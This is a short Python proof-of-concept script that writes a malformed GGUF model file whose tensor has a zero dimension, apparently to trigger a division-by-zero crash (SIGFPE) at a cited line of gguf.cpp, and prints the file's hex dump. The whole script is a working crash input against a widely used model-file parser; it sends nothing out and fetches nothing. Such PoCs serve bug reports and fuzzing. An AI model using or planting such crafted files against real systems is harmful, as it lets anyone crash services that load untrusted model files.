File size: 761 Bytes
0028206 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import struct
def gguf_str(s):
b=s.encode()
return struct.pack("<Q",len(b))+b
buf=b""
buf+=b"GGUF" # magic
buf+=struct.pack("<I",3) # version 3
buf+=struct.pack("<q",1) # n_tensors = 1
buf+=struct.pack("<q",0) # n_kv = 0
# tensor info
buf+=gguf_str("x") # tensor name
buf+=struct.pack("<I",2) # n_dims = 2
buf+=struct.pack("<q",1) # ne[0] = 1
buf+=struct.pack("<q",0) # ne[1] = 0 -> INT64_MAX/0 SIGFPE at gguf.cpp:681
buf+=struct.pack("<i",0) # type = GGML_TYPE_F32 (not reached)
buf+=struct.pack("<Q",0) # offset (not reached)
open("poc_divzero.gguf","wb").write(buf)
print("wrote poc_divzero.gguf",len(buf),"bytes")
print("hexdump:")
print(buf.hex())
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